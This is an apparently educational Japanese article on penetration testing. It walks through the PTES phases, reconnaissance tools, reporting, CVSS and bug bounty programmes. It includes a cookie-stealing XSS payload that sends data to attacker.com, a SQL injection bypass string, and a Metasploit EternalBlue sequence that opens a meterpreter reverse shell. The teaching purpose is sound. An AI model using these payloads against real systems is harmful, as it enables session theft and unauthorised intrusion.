ペネトレーションテスト(Penetration Testing)
ペネトレーションテストとは
許可を得た上で、実際の攻撃者と同じ手法を使ってシステムに侵入を試みるセキュリティテスト。
脆弱性スキャン(自動ツールによる既知の脆弱性の列挙)とは異なり、
ペネトレーションテスト(ペンテスト)は人間が攻撃者の思考で能動的に侵入を試みる。
【脆弱性スキャン】
自動ツール → 既知の脆弱性を列挙 → レポート
(スピード重視。深い文脈は見えない)
【ペネトレーションテスト】
人間(ペンテスター)→ 偵察→侵入→権限昇格→横断 → 実際の被害シナリオを実証
(深い文脈と組み合わせ攻撃を評価できる)
前提: 必ず書面による許可(スコープ合意・ROE)を取得してから実施する。許可なしは不正アクセス罪。
テストの種類
スコープによる分類
| 種類 | 説明 | 用途 |
|---|---|---|
| ブラックボックス | ターゲットの内部情報なし。外部攻撃者視点 | 外部からの攻撃耐性を評価 |
| グレーボックス | 一部の情報(認証情報・アーキテクチャ図等)を提供 | 最も一般的 |
| ホワイトボックス | ソースコード・設計書をすべて提供 | 内部脅威・コードレビューと組み合わせ |
チームによる分類
| チーム | 役割 |
|---|---|
| Red Team | 攻撃者役。実際の攻撃シナリオを実行 |
| Blue Team | 防御者役。検知・対応を担う(SOC等) |
| Purple Team | Red と Blue が協力し、検知ルールの改善を行う |
PTES(Penetration Testing Execution Standard)
ペンテストの標準的な7フェーズ。業界で広く参照される手法論。
①事前合意 → ②情報収集 → ③脅威モデリング → ④脆弱性調査
→ ⑤Exploitation → ⑥Post-Exploitation → ⑦レポーティング
Phase 1: 事前合意(Pre-Engagement)
テスト開始前に書面で合意する内容。
| 項目 | 内容 |
|---|---|
| スコープ | テスト対象のIP範囲・ドメイン・除外システム |
| ROE(Rules of Engagement) | 何をしてよいか・してはいけないか |
| テスト期間 | 開始日時・終了日時 |
| 緊急連絡先 | 深刻な問題が見つかった際の即時通知先 |
| 免責事項 | テスト中に生じた意図しない障害への対応 |
Phase 2: 情報収集(Reconnaissance)
パッシブ偵察(OSINT)
ターゲットのシステムに直接触れずに情報を収集する。検知リスクがゼロ。
# WHOIS でドメイン・IP の登録情報を取得
whois example.com
# DNS レコードの列挙
dig any example.com
dnsrecon -d example.com
# Shodan: インターネット上の公開サービスを検索
shodan search "org:TargetCorp"
# Google Dorks: 検索エンジンを使った情報収集
site:example.com filetype:pdf
site:example.com inurl:admin
intitle:"Index of" site:example.com
# GitHub での機密情報漏洩確認
org:TargetCorp "api_key" OR "password" OR "secret"
アクティブ偵察
ターゲットのシステムに直接通信して情報を収集する。ログに残る可能性がある。
# Nmap: ポートスキャン・サービス・OS の検出
nmap -sV -sC -O -p- 192.168.1.0/24
# サブドメイン列挙
amass enum -d example.com
subfinder -d example.com
# Webサーバーの技術スタック特定
whatweb https://example.com
Phase 3: 脆弱性調査(Vulnerability Analysis)
収集した情報をもとに、悪用可能な脆弱性を特定する。
# Nessus / OpenVAS: 自動脆弱性スキャン
# Nikto: Webサーバーの設定ミス・脆弱性スキャン
nikto -h https://example.com
# Burp Suite: WebアプリのプロキシツールでHTTP通信を解析・改ざん
# Spider でサイトをクロール → Scanner で自動検出 → Repeater で手動検証
Phase 4: Exploitation(攻撃実行)
特定した脆弱性を実際に悪用して侵入する。
Webアプリケーションの攻撃例
SQLインジェクション:
入力フォームに ' OR '1'='1 を入力し認証バイパスを試みる
Burp Suite の Intruder でペイロードを自動試行
XSS(Cross-Site Scripting):
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
→ 被害者のセッションクッキーを窃取
IDOR(Insecure Direct Object Reference):
/api/users/1234/profile → /api/users/1235/profile に変更して他ユーザー情報取得
Metasploit の基本フロー
# 脆弱なサービスのExploitを検索・実行
msfconsole
> search type:exploit name:eternalblue
> use exploit/windows/smb/ms17_010_eternalblue
> set RHOSTS 192.168.1.100
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.1.50
> run
# Meterpreter セッションが開く
Phase 5: Post-Exploitation(侵入後の活動)
侵入後に攻撃者が取る行動を模倣し、実際の被害シナリオを実証する。
権限昇格(Privilege Escalation)
Linuxでの手法:
- SUID ビットが設定されたバイナリの悪用
- カーネル脆弱性の利用
- sudo 設定ミス(NOPASSWD 等)
- 書き込み可能なcronジョブの悪用
Windowsでの手法:
- DLL ハイジャッキング
- Unquoted Service Path
- AlwaysInstallElevated レジストリ設定
- Token Impersonation(Mimikatz)
ラテラルムーブメント(横断的移動)
- Pass-the-Hash: 盗んだNTLMハッシュをそのまま認証に使用
- Pass-the-Ticket: Kerberosチケットを再利用(Golden Ticket攻撃)
- RDP / SSH で別ホストへ横断
- Active Directory の列挙でターゲット(DC等)を特定
データの特定と持ち出し(Exfiltration)
実際のデータを持ち出すのではなく、「持ち出せる状態であること」を証明する。
(POC: Proof of Concept として最小限のファイルを使用)
Phase 6: レポーティング
ペンテストの成果物。技術者と経営層の両方が読める構成にする。
レポートの構成
| セクション | 対象読者 | 内容 |
|---|---|---|
| エグゼクティブサマリー | 経営層 | 全体リスクの評価・ビジネスへの影響・優先対策 |
| 技術的所見 | 開発・インフラ担当 | 発見した脆弱性の詳細・再現手順・スクリーンショット |
| 修正推奨 | 開発・インフラ担当 | 具体的な修正方法・参照(CWE・OWASP等) |
| 再テスト計画 | プロジェクト担当 | 修正後の確認テストのスコープと日程 |
CVSSスコアリング
各脆弱性の深刻度を定量的に評価する国際標準スコア(0.0〜10.0)。
| スコア | 深刻度 |
|---|---|
| 9.0〜10.0 | Critical |
| 7.0〜8.9 | High |
| 4.0〜6.9 | Medium |
| 0.1〜3.9 | Low |
評価軸:攻撃経路・攻撃複雑度・必要権限・ユーザー関与・機密性/完全性/可用性への影響。
Bug Bounty
企業が公式に脆弱性報告を募集し、報告者に報奨金を支払うプログラム。
主要プラットフォーム
| プラットフォーム | 特徴 |
|---|---|
| HackerOne | 最大手。多くの大企業・政府機関が参加 |
| Bugcrowd | 企業向けプログラムが豊富 |
| Intigriti | 欧州中心 |
| 各社自社プログラム | Google VRP・Microsoft MSRC・GitHub Security等 |
責任ある開示(Responsible Disclosure)
発見 → 企業に非公開で報告 → 修正完了を待つ(一般的に90日) → 公開
↑
Googleのプロジェクト「Project Zero」が広めた標準的な期間
報告前に公開・悪用することは、善意のリサーチャーとしての信頼を失い、
国によっては法的リスクにもなりうる。
ペンテスターが使う主要ツール
| カテゴリ | ツール | 用途 |
|---|---|---|
| 偵察 | Nmap, Amass, Shodan, theHarvester | ポートスキャン・OSINT |
| プロキシ | Burp Suite, OWASP ZAP | HTTPインターセプト・改ざん |
| Exploitation | Metasploit, sqlmap, hydra | 脆弱性の悪用・総当たり |
| Post-Exploit | Mimikatz, BloodHound, CrackMapExec | 認証情報窃取・AD列挙 |
| フォレンジック | Volatility, Autopsy | メモリ・ディスク解析 |
| OS | Kali Linux, Parrot OS | ペンテスト向け Linux ディストリビューション |
学習リソース
| リソース | 内容 |
|---|---|
| HackTheBox / TryHackMe | 合法的に練習できるCTF・ラボ環境 |
| VulnHub | ローカルで動かせる脆弱な仮想マシン |
| OWASP WebGoat | わざと脆弱なWebアプリ(学習用) |
| PentesterLab | Web系脆弱性の実践的コース |
参考文献
- Peter Kim『The Hacker Playbook 3』(Secure Planet, 2018)— 実践的なペンテストの手順書。Red Team 視点で解説
- Georgia Weidman『Penetration Testing』(No Starch Press, 2014)— ペンテスト全体像の入門書。Metasploitの使い方も詳しい
- PTES(Penetration Testing Execution Standard)— ペンテストの業界標準手法論(ptes.org)
- OWASP Testing Guide v4.2 — Webアプリのテスト手順の公式ガイド
- Vickie Li『Bug Bounty Bootcamp』(No Starch Press, 2021)— Bug Bounty を通じてWebセキュリティを学ぶ実践書
- 1. 🔒セキュリティ概要・学習ロードマップ
- 2. 🎯脅威モデリング(Threat Modeling)
- 3. 🏛️セキュリティ設計原則
- 4. 🕳️OWASP Top 10
- 5. 🔑認証・認可(Authentication & Authorization)
- 6. 🔐暗号の基礎(Cryptography)
- 7. 🌐ネットワークセキュリティ
- 8. ☁️クラウドセキュリティ
- 9. 🔄DevSecOps / Shift Left
- 10. 🚨インシデントレスポンス(Incident Response)
- 11. 🗡️ペネトレーションテスト(Penetration Testing)
- 12. 🗺️MITRE ATT&CK フレームワーク
- 13. ⚖️GRC・リスク管理(Governance, Risk, Compliance)
- 14. 🦠マルウェア分析基礎(Malware Analysis)
出典: The Hacker Playbook 3(Peter Kim, 2018)/ Penetration Testing(Georgia Weidman, 2014)/ PTES(Penetration Testing Execution Standard)/ OWASP Testing Guide v4.2 / Bug Bounty Bootcamp(Vickie Li, 2021)